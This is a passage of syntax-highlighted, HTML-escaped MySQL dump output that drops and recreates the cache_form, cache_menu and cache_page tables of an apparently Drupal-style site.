  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;expire&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;created&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;headers&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;text&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;serialized&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;smallint&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;PRIMARY&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;KEY&lt;/span&gt;  &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cid&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;KEY&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;expire&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;expire&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; ENGINE&lt;span style=&quot;color: #806030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;MyISAM&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;DEFAULT&lt;/span&gt; CHARSET&lt;span style=&quot;color: #806030;&quot;&gt;=&lt;/span&gt;utf8&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;/*!40101 SET character_set_client = @saved_cs_client */&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;

&lt;span style=&quot;color: #c34e00;&quot;&gt;--&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;-- Table structure for table `cache_form`&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;--&lt;/span&gt;

&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;DROP&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;TABLE&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;IF&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;EXISTS&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cache_form&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;/*!40101 SET @saved_cs_client     = @@character_set_client */&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;/*!40101 SET character_set_client = utf8 */&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;CREATE&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;TABLE&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cache_form&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cid&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;varchar&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;255&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;longblob&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;expire&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;created&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;headers&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;text&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;serialized&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;smallint&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;PRIMARY&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;KEY&lt;/span&gt;  &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cid&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;KEY&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;expire&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;expire&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; ENGINE&lt;span style=&quot;color: #806030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;MyISAM&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;DEFAULT&lt;/span&gt; CHARSET&lt;span style=&quot;color: #806030;&quot;&gt;=&lt;/span&gt;utf8&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;/*!40101 SET character_set_client = @saved_cs_client */&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;

&lt;span style=&quot;color: #c34e00;&quot;&gt;--&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;-- Table structure for table `cache_menu`&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;--&lt;/span&gt;

&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;DROP&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;TABLE&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;IF&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;EXISTS&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cache_menu&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;/*!40101 SET @saved_cs_client     = @@character_set_client */&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;/*!40101 SET character_set_client = utf8 */&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;CREATE&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;TABLE&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cache_menu&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cid&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;varchar&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;255&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;longblob&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;expire&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;created&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;headers&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;text&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;serialized&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;smallint&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;PRIMARY&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;KEY&lt;/span&gt;  &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cid&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;KEY&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;expire&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;expire&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; ENGINE&lt;span style=&quot;color: #806030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;MyISAM&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;DEFAULT&lt;/span&gt; CHARSET&lt;span style=&quot;color: #806030;&quot;&gt;=&lt;/span&gt;utf8&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;/*!40101 SET character_set_client = @saved_cs_client */&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;

&lt;span style=&quot;color: #c34e00;&quot;&gt;--&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;-- Table structure for table `cache_page`&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;--&lt;/span&gt;

&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;DROP&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;TABLE&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;IF&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;EXISTS&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cache_page&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;/*!40101 SET @saved_cs_client     = @@character_set_client */&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;/*!40101 SET character_set_client = utf8 */&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;CREATE&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;TABLE&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cache_page&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cid&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;varchar&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;255&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;longblob&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;expire&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;created&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;headers&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;text&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;serialized&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;smallint&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;PRIMARY&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;KEY&lt;/span&gt;  &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cid&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;KEY&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;expire&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;expire&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; ENGINE&lt;span style=&quot;color: #806030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;MyISAM&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;DEFAULT&lt;/span&gt; CHARSET&lt;span style=&quot;color: #806030;&quot;&gt;=&lt;/span&gt;utf8&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
